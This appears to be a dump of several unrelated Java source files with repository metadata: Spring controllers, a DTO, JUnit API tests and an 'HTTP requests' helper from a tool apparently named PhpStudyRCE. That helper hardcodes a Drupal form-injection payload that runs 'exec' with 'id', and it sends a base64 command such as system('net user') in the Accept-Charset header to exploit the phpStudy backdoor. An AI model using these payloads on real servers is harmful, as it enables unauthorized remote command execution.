* "houseId": "efc0e2f5988676b44b10ff8364cd9253",
* "houseCode": "house1",
* "houseName": "昌平一号仓",
* "hostStatus": 1,
* "hostModel": "xxx",
* "simCode": "2112324",
* "createdTime": "2021-01-29 14:38:16",
* "updateTime": "2021-01-29 14:38:16"
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("info/{id}")
public ResultResp info(@PathVariable("id") String id) {
HostEntity hostEntity = hostService.getById(id);
return ResultResp.success(hostEntity);
}
/**
* @api {GET} admin/host/save 新增主机信息
* @apiDescription 新增主机信息
* @apiGroup HostController
* @apiParam {String} hostCode 主机编码
* @apiParam {String} hostName 主机名称
* @apiParam {String} houseId 仓库Id
* @apiParam {String} houseCode 仓库编码
* @apiParam {String} houseName 仓库名称
* @apiParam {String} hostStatus 主机状态:1-正常,0-停用
* @apiParam {String} hostModel 设备型号
* @apiParam {String} simCode sim卡号
*
* @apiParamExample {json} 请求示例:
* {
* "hostCode":"xxx",
* "hostName":"xxx",
* "houseId":"xxx",
* "houseCode" :"xxx",
* "houseName" :"xxx",
* "hostStatus":"xxx",
* "hostModel":"xxx",
* "simCode":"xxx",
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "code":"0",
* "msg":"success",
* "data":{
*
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("save")
public ResultResp save(@RequestBody HostEntity hostEntity) {
hostEntity.setId(MD5Util.enCodeByMd5(hostEntity.toString()));
hostService.save(hostEntity);
return ResultResp.success("保存成功!");
}
/**
* @api {GET} admin/host/update 更新主机信息
* @apiDescription 更新主机信息
* @apiGroup HostController
* @apiParam {String} hostCode 主机编码
* @apiParam {String} hostName 主机名称
* @apiParam {String} houseId 仓库Id
* @apiParam {String} houseCode 仓库编码
* @apiParam {String} houseName 仓库名称
* @apiParam {String} hostStatus 主机状态:1-正常,0-停用
* @apiParam {String} hostModel 设备型号
* @apiParam {String} simCode sim卡号
*
* @apiParamExample {json} 请求示例:
* {
* "hostCode":"xxx",
* "hostName":"xxx",
* "houseId":"xxx",
* "houseCode" :"xxx",
* "houseName" :"xxx",
* "hostStatus":"xxx",
* "hostModel":"xxx",
* "simCode":"xxx",
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "code":"0",
* "msg":"success",
* "data":{
*
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("update")
public ResultResp update(@RequestBody HostEntity hostEntity) {
hostService.updateById(hostEntity);
return ResultResp.success("更新成功!");
}
/**
* @api {GET} admin/host/delete 删除主机信息
* @apiDescription 删除主机信息
* @apiGroup HostController
* @apiParam {String} id 主机ID
*
* @apiParamExample {json} 请求示例:
* {
* "id": "xxx"
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "code":"0",
* "msg":"success",
* "data":{
*
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("delete")
public ResultResp delete(String id) {
hostService.removeById(id);
return ResultResp.success("删除成功!");
}
}
| 7,098 | 0.534115 | 0.481815 | 242 | 26.495869 | 16.052406 | 70 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.363636 | false | false |
8
|
d6d6c3a7e9e9d1f6e3ba68891c2f70c7aacba621
| 8,108,898,311,972 |
fb8c56f01c89d175b1917f72410f85c1df26c434
|
/src/main/java/com/fpis/dto/StavkaNarudzbeniceDto.java
|
cf8d51cc1e0eb51829dc83e7dd6492c638d62fe6
|
[] |
no_license
|
nedeljkovicm/preduzeceSpringBoot
|
https://github.com/nedeljkovicm/preduzeceSpringBoot
|
bbc842b7689e6cf9965eb96bf1d820287c29f84b
|
e80959dd5ea6950c133dd9d5f5b604775e213ec0
|
refs/heads/main
| 2022-12-18T06:48:49.820000 | 2020-09-29T00:22:30 | 2020-09-29T00:22:30 | 299,462,875 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.fpis.dto;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fpis.domain.StavkaNarudzbeniceId;
import java.io.Serializable;
/**
*
* @author User
*/
public class StavkaNarudzbeniceDto implements Serializable {
private StavkaNarudzbeniceId stavkaNarudzbeniceId;
private int kolicina;
private double iznos;
private String nazivIgracke;
private String opisIgracke;
private double cenaIgracke;
@JsonIgnore
private NarudzbenicaDto narudzbenica;
public StavkaNarudzbeniceDto() {
}
public StavkaNarudzbeniceDto(StavkaNarudzbeniceId stavkaNarudzbeniceId, int kolicina, double iznos, String nazivIgracke, String opisIgracke, double cenaIgracke, NarudzbenicaDto narudzbenica) {
this.stavkaNarudzbeniceId = stavkaNarudzbeniceId;
this.kolicina = kolicina;
this.iznos = iznos;
this.nazivIgracke = nazivIgracke;
this.opisIgracke = opisIgracke;
this.cenaIgracke = cenaIgracke;
this.narudzbenica = narudzbenica;
}
public StavkaNarudzbeniceId getStavkaNarudzbeniceId() {
return stavkaNarudzbeniceId;
}
public void setStavkaNarudzbeniceId(StavkaNarudzbeniceId stavkaNarudzbeniceId) {
this.stavkaNarudzbeniceId = stavkaNarudzbeniceId;
}
public int getKolicina() {
return kolicina;
}
public void setKolicina(int kolicina) {
this.kolicina = kolicina;
}
public double getIznos() {
return iznos;
}
public void setIznos(double iznos) {
this.iznos = iznos;
}
public NarudzbenicaDto getNarudzbenica() {
return narudzbenica;
}
public void setNarudzbenica(NarudzbenicaDto narudzbenica) {
this.narudzbenica = narudzbenica;
}
public String getNazivIgracke() {
return nazivIgracke;
}
public void setNazivIgracke(String nazivIgracke) {
this.nazivIgracke = nazivIgracke;
}
public String getOpisIgracke() {
return opisIgracke;
}
public void setOpisIgracke(String opisIgracke) {
this.opisIgracke = opisIgracke;
}
public double getCenaIgracke() {
return cenaIgracke;
}
public void setCenaIgracke(double cenaIgracke) {
this.cenaIgracke = cenaIgracke;
}
@Override
public String toString() {
return "StavkaNarudzbeniceDto{" + "stavkaNarudzbeniceId=" + stavkaNarudzbeniceId + ", kolicina=" + kolicina + ", iznos=" + iznos + ", nazivIgracke=" + nazivIgracke + ", opisIgracke=" + opisIgracke + ", cenaIgracke=" + cenaIgracke + ", narudzbenica=" + narudzbenica + '}';
}
}
|
UTF-8
|
Java
| 2,836 |
java
|
StavkaNarudzbeniceDto.java
|
Java
|
[
{
"context": "d;\nimport java.io.Serializable;\n\n/**\n *\n * @author User\n */\npublic class StavkaNarudzbeniceDto implements",
"end": 357,
"score": 0.898235559463501,
"start": 353,
"tag": "USERNAME",
"value": "User"
}
] | null |
[] |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.fpis.dto;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fpis.domain.StavkaNarudzbeniceId;
import java.io.Serializable;
/**
*
* @author User
*/
public class StavkaNarudzbeniceDto implements Serializable {
private StavkaNarudzbeniceId stavkaNarudzbeniceId;
private int kolicina;
private double iznos;
private String nazivIgracke;
private String opisIgracke;
private double cenaIgracke;
@JsonIgnore
private NarudzbenicaDto narudzbenica;
public StavkaNarudzbeniceDto() {
}
public StavkaNarudzbeniceDto(StavkaNarudzbeniceId stavkaNarudzbeniceId, int kolicina, double iznos, String nazivIgracke, String opisIgracke, double cenaIgracke, NarudzbenicaDto narudzbenica) {
this.stavkaNarudzbeniceId = stavkaNarudzbeniceId;
this.kolicina = kolicina;
this.iznos = iznos;
this.nazivIgracke = nazivIgracke;
this.opisIgracke = opisIgracke;
this.cenaIgracke = cenaIgracke;
this.narudzbenica = narudzbenica;
}
public StavkaNarudzbeniceId getStavkaNarudzbeniceId() {
return stavkaNarudzbeniceId;
}
public void setStavkaNarudzbeniceId(StavkaNarudzbeniceId stavkaNarudzbeniceId) {
this.stavkaNarudzbeniceId = stavkaNarudzbeniceId;
}
public int getKolicina() {
return kolicina;
}
public void setKolicina(int kolicina) {
this.kolicina = kolicina;
}
public double getIznos() {
return iznos;
}
public void setIznos(double iznos) {
this.iznos = iznos;
}
public NarudzbenicaDto getNarudzbenica() {
return narudzbenica;
}
public void setNarudzbenica(NarudzbenicaDto narudzbenica) {
this.narudzbenica = narudzbenica;
}
public String getNazivIgracke() {
return nazivIgracke;
}
public void setNazivIgracke(String nazivIgracke) {
this.nazivIgracke = nazivIgracke;
}
public String getOpisIgracke() {
return opisIgracke;
}
public void setOpisIgracke(String opisIgracke) {
this.opisIgracke = opisIgracke;
}
public double getCenaIgracke() {
return cenaIgracke;
}
public void setCenaIgracke(double cenaIgracke) {
this.cenaIgracke = cenaIgracke;
}
@Override
public String toString() {
return "StavkaNarudzbeniceDto{" + "stavkaNarudzbeniceId=" + stavkaNarudzbeniceId + ", kolicina=" + kolicina + ", iznos=" + iznos + ", nazivIgracke=" + nazivIgracke + ", opisIgracke=" + opisIgracke + ", cenaIgracke=" + cenaIgracke + ", narudzbenica=" + narudzbenica + '}';
}
}
| 2,836 | 0.684767 | 0.684767 | 108 | 25.25926 | 36.299774 | 279 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.444444 | false | false |
8
|
49daa2c395146486810b264e31aa8d183a755946
| 15,693,810,521,237 |
30f227b9598d541be54336772f551f35fd59f555
|
/syslp3ProyectoFinal/src/main/java/com/syslp3/controller/CategoriaController.java
|
10dbb59eb374c1caf8c1bd43df0253faa2d62d63
|
[] |
no_license
|
osvaldoarc/lp3
|
https://github.com/osvaldoarc/lp3
|
6c606ba3b9e498d9c8868438505a90634ddadfd7
|
ca266015bc46afc92239a989a581c84cf8c6ce71
|
refs/heads/master
| 2023-02-05T03:48:26.272000 | 2020-12-28T17:13:08 | 2020-12-28T17:13:08 | 299,386,129 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.syslp3.controller;
import java.util.List;
import java.util.Map;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.syslp3.entity.Categoria;
import com.syslp3.service.CategoriaService;
@RestController
@CrossOrigin(origins = "", allowedHeaders = "")
@RequestMapping("/categoria")
public class CategoriaController {
@Autowired
private CategoriaService categoriaService;
@GetMapping("/all")
public List<Map<String, Object>> readAll(){
return categoriaService.ReadAll();
}
@PostMapping("/add")
public int create(@RequestBody Categoria c) {
return categoriaService.create(c);
}
@PutMapping("/update/{id}")
public int update(@RequestBody Categoria categoria,@PathVariable int id) {
categoria.setIdcategoria(id);
return categoriaService.update(id);
}
@DeleteMapping("/delete/{id}")
public int delete(@PathVariable int id ) {
return categoriaService.delete(id);
}
}
|
UTF-8
|
Java
| 1,473 |
java
|
CategoriaController.java
|
Java
|
[] | null |
[] |
package com.syslp3.controller;
import java.util.List;
import java.util.Map;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import com.syslp3.entity.Categoria;
import com.syslp3.service.CategoriaService;
@RestController
@CrossOrigin(origins = "", allowedHeaders = "")
@RequestMapping("/categoria")
public class CategoriaController {
@Autowired
private CategoriaService categoriaService;
@GetMapping("/all")
public List<Map<String, Object>> readAll(){
return categoriaService.ReadAll();
}
@PostMapping("/add")
public int create(@RequestBody Categoria c) {
return categoriaService.create(c);
}
@PutMapping("/update/{id}")
public int update(@RequestBody Categoria categoria,@PathVariable int id) {
categoria.setIdcategoria(id);
return categoriaService.update(id);
}
@DeleteMapping("/delete/{id}")
public int delete(@PathVariable int id ) {
return categoriaService.delete(id);
}
}
| 1,473 | 0.798371 | 0.796334 | 47 | 30.340425 | 22.788834 | 75 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.06383 | false | false |
8
|
88a00693b532b2ae9c448726bbe9773c864ea066
| 25,786,983,659,854 |
6457cebcba0eadf57149552ce9ead8cea4083ae0
|
/study-java/src/main/java/cm/study/java/algo/BPlusTree.java
|
7a4ee2fca7c51bee32d158657005920e44b0de29
|
[] |
no_license
|
mingo-chen/study
|
https://github.com/mingo-chen/study
|
a0302dbe6112929b460ff5d90e6383db9807e9bf
|
bd9216d2e6712e186a89c8616890a96bf68640bd
|
refs/heads/master
| 2022-10-22T07:54:45.498000 | 2019-03-29T06:10:21 | 2019-03-29T06:10:25 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package cm.study.java.algo;
/**
* B+树
*/
public class BPlusTree {
}
|
UTF-8
|
Java
| 73 |
java
|
BPlusTree.java
|
Java
|
[] | null |
[] |
package cm.study.java.algo;
/**
* B+树
*/
public class BPlusTree {
}
| 73 | 0.619718 | 0.619718 | 7 | 9.142858 | 10.521116 | 27 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | false | false |
8
|
122927204f617ddb08cbd26a5dec85a849b85bce
| 19,954,418,071,279 |
34513b32b9708d2a6b99f0c2bffdb9c90a260a1a
|
/PhpStudyRCE/src/sample/Requests.java
|
ae983a0dc94e97dd66963ce7ade0af57131d645f
|
[] |
no_license
|
Chosir/PhpStudyRCE
|
https://github.com/Chosir/PhpStudyRCE
|
353a2211f22b0f3c021cc3ca0930c222c92c5a77
|
130b84ed9759134377f78a2a18a652998db4e992
|
refs/heads/master
| 2020-09-01T06:31:43.199000 | 2019-11-04T02:52:48 | 2019-11-04T02:52:48 | 218,899,644 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package sample;
import com.sun.org.apache.bcel.internal.generic.NEW;
import javafx.scene.control.Alert;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.*;
import java.util.List;
import java.util.Map;
public class Requests {
/*
* 1.代理
*@param proxyHost
* 主机IP
*@param proxyPort
* 主机端口
* @return
* 返回代理对象
* */
public Proxy setProxy(String proxyHost, int proxyPort){
try{
InetSocketAddress addr = new InetSocketAddress(proxyHost,proxyPort);
Proxy proxy= new Proxy(Proxy.Type.HTTP,addr);//http代理
return proxy;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
/*
* 2.基本的Post请求
* @param url
* URL地址
* @param params
* URL参数
* @params formData
*表单提交
* @return
* 返回资源结果
* @throws Exception
* */
public String sendPost(String url, String params,String formData) throws Exception{
url = "http://192.168.30.100:8080/user/register?";
params = "element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
url = url + params;
formData = "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id";
StringBuilder response = new StringBuilder();
try {
URL urlName = new URL(url);
//打开和URL之间的连接
URLConnection conn = urlName.openConnection();
//设置代理
//URLConnection conn = urlName.openConnection(setProxy(proxyHost,proxyPort));
//设置通用的请求header属性
conn.setRequestProperty("accept","*/*");
conn.setRequestProperty("connection","Keep-Alive");
conn.setRequestProperty("User-Agent"," Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0");
conn.setRequestProperty("Accept-Encoding", "gzip, deflate");
conn.setRequestProperty("content-type", "application/x-www-form-urlencoded");//决定body的编码格式
//设置超时时间
conn.setConnectTimeout(1000);
conn.setReadTimeout(3000);
//发送POST必须设置下列两行
conn.setDoOutput(true); //使用urlConnection 写入数据
conn.setDoInput(true);
//获取URLConnection对象的输出流
PrintWriter writer = new PrintWriter(conn.getOutputStream());
//写入POST body
writer.print(formData);
//flush 输出流的缓冲
writer.flush();
//从服务器读取响应
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line = reader.readLine();
line = new String(line.getBytes(),"gbk");//中文编码注意
while (line != null){
response.append(line+"\n");
line = reader.readLine();
}
reader.close();
writer.close();
} catch (MalformedURLException e){
System.out.println("POST request not worked: "+e);
e.printStackTrace();
}
System.out.println(response);
return response.toString();
}
/*
* 3.基本的get请求
* @param url
* 发送请求的URL
* @param params
* 请求参数,name=xx&id=xxx形式
* @return
* 远程资源返回的结果
*/
public String sendGet(String url,String params,String payload1,String payload2) throws Exception{
//String urlName = "http://192.168.30.131";
//String payload = "ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7"; //这儿有问题
String payload = payload2.toString();
String response = "";
String param = "";
String line;
StringBuffer sb=new StringBuffer();
BufferedReader in = null;
try {
//String urlNameString = urlName + "?" + param;
String urlName = url;
URL realUrl = new URL(urlName);
//设置代理
//URLConnection conn = realUrl.openConnection(setProxy(proxyHost,proxyPort));
// 打开和URL之间的连接
URLConnection conn = realUrl.openConnection();
// 设置通用的请求属性 设置请求格式
conn.setRequestProperty("accept","*/*");
conn.setRequestProperty("connection","Keep-Alive");
conn.setRequestProperty("User-Agent"," Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0");
conn.setRequestProperty("Accept-Charset", payload);
conn.setRequestProperty("Accept-Encoding", "gzip,deflate");
conn.setRequestProperty("content-type", "application/x-www-form-urlencoded");
//设置超时时间
conn.setConnectTimeout(60);
conn.setReadTimeout(60);
// 建立实际的连接
conn.connect();
// 定义 BufferedReader输入流来读取URL的响应,设置接收格式
in = new BufferedReader(new InputStreamReader(
conn.getInputStream(), "gbk")); //设置编码
while ((line = in.readLine()) != null) {
sb.append(line+"\n");
}
response = sb.toString();
} catch (Exception e) {
System.out.println("发送GET请求出现异常!" + e);
Alert error = new Alert(Alert.AlertType.ERROR,"请添加协议,如:http://example.com");
error.setHeaderText("参数错误");
error.show();
e.printStackTrace();
}
// 使用finally块来关闭输入流
finally {
try {
if (in != null) {
in.close();
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
System.out.println(response);
return response;
}
//https://blog.csdn.net/qazwsxpcm/article/details/72780090
}
|
UTF-8
|
Java
| 6,216 |
java
|
Requests.java
|
Java
|
[
{
"context": "ormData) throws Exception{\n url = \"http://192.168.30.100:8080/user/register?\";\n params = \"element_p",
"end": 1058,
"score": 0.9995164275169373,
"start": 1044,
"tag": "IP_ADDRESS",
"value": "192.168.30.100"
},
{
"context": "ows Exception{\n //String urlName = \"http://192.168.30.131\";\n //String payload = \"ZWNobyBzeXN0ZW0oIm5",
"end": 3487,
"score": 0.9986094236373901,
"start": 3473,
"tag": "IP_ADDRESS",
"value": "192.168.30.131"
},
{
"context": "eturn response;\n }\n //https://blog.csdn.net/qazwsxpcm/article/details/72780090\n}\n",
"end": 5716,
"score": 0.9996711015701294,
"start": 5707,
"tag": "USERNAME",
"value": "qazwsxpcm"
}
] | null |
[] |
package sample;
import com.sun.org.apache.bcel.internal.generic.NEW;
import javafx.scene.control.Alert;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.*;
import java.util.List;
import java.util.Map;
public class Requests {
/*
* 1.代理
*@param proxyHost
* 主机IP
*@param proxyPort
* 主机端口
* @return
* 返回代理对象
* */
public Proxy setProxy(String proxyHost, int proxyPort){
try{
InetSocketAddress addr = new InetSocketAddress(proxyHost,proxyPort);
Proxy proxy= new Proxy(Proxy.Type.HTTP,addr);//http代理
return proxy;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
/*
* 2.基本的Post请求
* @param url
* URL地址
* @param params
* URL参数
* @params formData
*表单提交
* @return
* 返回资源结果
* @throws Exception
* */
public String sendPost(String url, String params,String formData) throws Exception{
url = "http://192.168.30.100:8080/user/register?";
params = "element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
url = url + params;
formData = "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id";
StringBuilder response = new StringBuilder();
try {
URL urlName = new URL(url);
//打开和URL之间的连接
URLConnection conn = urlName.openConnection();
//设置代理
//URLConnection conn = urlName.openConnection(setProxy(proxyHost,proxyPort));
//设置通用的请求header属性
conn.setRequestProperty("accept","*/*");
conn.setRequestProperty("connection","Keep-Alive");
conn.setRequestProperty("User-Agent"," Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0");
conn.setRequestProperty("Accept-Encoding", "gzip, deflate");
conn.setRequestProperty("content-type", "application/x-www-form-urlencoded");//决定body的编码格式
//设置超时时间
conn.setConnectTimeout(1000);
conn.setReadTimeout(3000);
//发送POST必须设置下列两行
conn.setDoOutput(true); //使用urlConnection 写入数据
conn.setDoInput(true);
//获取URLConnection对象的输出流
PrintWriter writer = new PrintWriter(conn.getOutputStream());
//写入POST body
writer.print(formData);
//flush 输出流的缓冲
writer.flush();
//从服务器读取响应
BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line = reader.readLine();
line = new String(line.getBytes(),"gbk");//中文编码注意
while (line != null){
response.append(line+"\n");
line = reader.readLine();
}
reader.close();
writer.close();
} catch (MalformedURLException e){
System.out.println("POST request not worked: "+e);
e.printStackTrace();
}
System.out.println(response);
return response.toString();
}
/*
* 3.基本的get请求
* @param url
* 发送请求的URL
* @param params
* 请求参数,name=xx&id=xxx形式
* @return
* 远程资源返回的结果
*/
public String sendGet(String url,String params,String payload1,String payload2) throws Exception{
//String urlName = "http://192.168.30.131";
//String payload = "ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7"; //这儿有问题
String payload = payload2.toString();
String response = "";
String param = "";
String line;
StringBuffer sb=new StringBuffer();
BufferedReader in = null;
try {
//String urlNameString = urlName + "?" + param;
String urlName = url;
URL realUrl = new URL(urlName);
//设置代理
//URLConnection conn = realUrl.openConnection(setProxy(proxyHost,proxyPort));
// 打开和URL之间的连接
URLConnection conn = realUrl.openConnection();
// 设置通用的请求属性 设置请求格式
conn.setRequestProperty("accept","*/*");
conn.setRequestProperty("connection","Keep-Alive");
conn.setRequestProperty("User-Agent"," Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0");
conn.setRequestProperty("Accept-Charset", payload);
conn.setRequestProperty("Accept-Encoding", "gzip,deflate");
conn.setRequestProperty("content-type", "application/x-www-form-urlencoded");
//设置超时时间
conn.setConnectTimeout(60);
conn.setReadTimeout(60);
// 建立实际的连接
conn.connect();
// 定义 BufferedReader输入流来读取URL的响应,设置接收格式
in = new BufferedReader(new InputStreamReader(
conn.getInputStream(), "gbk")); //设置编码
while ((line = in.readLine()) != null) {
sb.append(line+"\n");
}
response = sb.toString();
} catch (Exception e) {
System.out.println("发送GET请求出现异常!" + e);
Alert error = new Alert(Alert.AlertType.ERROR,"请添加协议,如:http://example.com");
error.setHeaderText("参数错误");
error.show();
e.printStackTrace();
}
// 使用finally块来关闭输入流
finally {
try {
if (in != null) {
in.close();
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
System.out.println(response);
return response;
}
//https://blog.csdn.net/qazwsxpcm/article/details/72780090
}
| 6,216 | 0.569116 | 0.549965 | 159 | 35.125786 | 26.620733 | 132 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.704403 | false | false |
8
|
1eea9a22e295ae14bad8b02555f64cec9d274da1
| 19,954,418,071,521 |
89e1811c3293545c83966995cb000c88fc95fa79
|
/MCHH-api/src/test/java/com/threefiveninetong/mchh/appHospital/AppHospitalControllerTest.java
|
7818b17541dd430a389863b05fcf053b0845fbbf
|
[] |
no_license
|
wxddong/MCHH-parent
|
https://github.com/wxddong/MCHH-parent
|
9cafcff20d2f36b5d528fd8dd608fa9547327486
|
2898fdf4e778afc01b850d003899f25005b8e415
|
refs/heads/master
| 2021-01-01T17:25:29.109000 | 2017-07-23T02:28:59 | 2017-07-23T02:28:59 | 96,751,862 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.threefiveninetong.mchh.appHospital;
import java.util.HashMap;
import java.util.Map;
import org.junit.Test;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchCharacteristicServiceInfoRespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchFirstPageInfoRespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchInfoRespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchSchoolCurriculumInfo2RespVo;
import com.threefiveninetong.mchh.appHospital.vo.resp.HospitalSearchSchoolCurriculumInfoRespVo;
import com.threefiveninetong.mchh.core.vo.BaseVo;
import com.threefiveninetong.mchh.util.APISignUtils;
import com.threefiveninetong.mchh.util.HttpUtil;
public class AppHospitalControllerTest {
/**
* 会员关联医院
*/
@Test
public void affiliatedHospitalTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/affiliatedHospital";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "ffff;MCHHI;sfds;wererw;1234");
params.put("treatmentNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("archivesCode", "ffff;MCHHI;sfds;wererw;1234");
params.put("idNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("hospitalName", "ffff;MCHHI;sfds;wererw;1234");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
BaseVo vo = HttpUtil.postFormDataJson(url, params, BaseVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院首页展示信息
*/
@Test
public void searchHospitalFirstPageInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalFirstPageInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchFirstPageInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchFirstPageInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院特色服务信息
*/
@Test
public void searchHospitalCharacteristicServiceInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalCharacteristicServiceInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchCharacteristicServiceInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchCharacteristicServiceInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院孕妇学校课程时间列表
*/
@Test
public void searchHospitalSchoolCurriculumInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalSchoolCurriculumInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchSchoolCurriculumInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchSchoolCurriculumInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院孕妇学校课程信息
*/
@Test
public void searchHospitalSchoolCurriculumInfo2Test() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalSchoolCurriculumInfo2";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("memberId", "123213213");
params.put("hospitalId", "123213213");
params.put("date", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchSchoolCurriculumInfo2RespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchSchoolCurriculumInfo2RespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询医院详情信息
*/
@Test
public void searchHospitalInfoTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalInfo";
Map<String, String> params = new HashMap<String, String>();
params.put("terminalNo", "ffff;MCHHI;sfds;wererw;1234");
params.put("hospitalId", "123213213");
params.put("sign", APISignUtils.getSign(params, "1d0a49CbD359F533c9121C1Ee9cBE4FC"));
HospitalSearchInfoRespVo vo = HttpUtil.postFormDataJson(url, params, HospitalSearchInfoRespVo.class);
System.out.println("状态码:"+vo.getStatusCode()+" 提示:"+vo.getMessage());
}
/**
* 查询会员的医院通知
*/
@Test
public void searchHospitalMessageTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalMessage";
}
/**
* 查询会员的医院检查报告
*/
@Test
public void searchHospitalReportTest() {
String url = "http://127.0.0.1:8080/MCHH-api/api/searchHospitalReport";
}
}
|
UTF-8
|
Java
| 5,723 |
java
|
AppHospitalControllerTest.java
|
Java
|
[
{
"context": "hoolCurriculumInfoTest() {\n\t\tString url = \"http://127.0.0.1:8080/MCHH-api/api/searchHospitalSchoolCurriculumI",
"end": 3189,
"score": 0.9235127568244934,
"start": 3180,
"tag": "IP_ADDRESS",
"value": "127.0.0.1"
},
{
